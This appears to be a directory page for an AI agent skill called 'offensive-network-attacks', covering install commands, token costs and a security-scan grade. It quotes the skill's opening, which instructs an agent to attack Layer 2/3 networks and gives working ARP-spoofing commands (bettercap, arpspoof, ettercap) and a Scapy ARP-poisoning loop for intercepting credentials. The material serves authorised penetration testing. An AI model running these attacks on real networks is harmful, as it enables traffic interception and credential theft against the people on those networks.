What is offensive-network-attacks?

A checklist for assessing attacks on internal networks, including traffic interception, name-resolution poisoning, VLAN or DHCP weaknesses, and authentication bypasses. It also names tools and related MITRE ATT&CK techniques.

Use it in authorised internal network assessments to examine Layer 2 and Layer 3 protections, traffic visibility, and access controls.

It helps testers systematically review how devices and network services could be tricked or monitored on a local network.

offensive-network-attacks — Skill by Miosa-osa/OSA

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add Miosa-osa/OSA --skill offensive-network-attacks

Clone the repo

git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-network-attacks/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-network-attacks)

Your own site

<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-network-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-network-attacks/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-network-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-network-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 96 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 6,018 The whole file, excluding the scripts and references it only reads on demand.

Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.

Origin 92% copy Near-identical to another mod in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00096	$0.06018
Opus 5.5	$0.00038	$0.02407
Sonnet 5.5	$0.00019	$0.01204
Haiku 4.5	$0.00010	$0.00602

Measured 1mo ago against content hash 440421efdea2, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

offensive-network-attacks scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo bettercap -iface eth0

Origin

This is a copy

92% identical to offensive-network-attacks — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

priv/skills/offensive-network-attacks/SKILL.md · 532 lines

How it starts

The opening of the file, as written. The whole thing — 532 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

Quick Workflow

Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
Enable Responder poisoning to capture NTLMv2 hashes.
Relay captured hashes with ntlmrelayx against hosts without SMB signing.
ARP spoof the gateway for targeted MITM and credential interception.
Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

Bettercap ARP Module

sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on

arpspoof and Ettercap

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter

Gratuitous ARP with Scapy

from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)

Read the full file on GitHub · 532 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

1mo ago First seen · 532 lines · 96 tokens per session scan B 440421efdea2

Subscribe to this mod's changes

offensive-network-attacks is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 10d ago), licensed Apache-2.0. It adds 96 tokens to every session and 6,018 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 1 finding (asks for root). It is 92% identical to offensive-network-attacks, differing in 40 lines, and is treated as a copy.

Hardware and IoT LLM Security ai-agent elixir local-ai nanobot nanoclaw

neuroskill-bci

Use live BCI cognitive and mood state from NeuroSkill.

NousResearch/hermes-agent · 18 tokens

opentrons-integration

Official Opentrons Protocol API for OT-2 and Flex robots. Use when writing protocols specifically for Opentrons hardware with full access to Protocol API v2 features. Best for production Opentrons protocols, official API compatibility. For multi-vendor automation or broader equipment control use pylabrobot.

synthetic-sciences/openscience · 66 tokens

pylabrobot

Vendor-agnostic lab automation framework. Use when controlling multiple equipment types (Hamilton, Tecan, Opentrons, plate readers, pumps) or needing unified programming across different vendors. Best for complex workflows, multi-vendor setups, simulation. For Opentrons-only protocols with official API…

synthetic-sciences/openscience · 73 tokens

offensive-network-attacks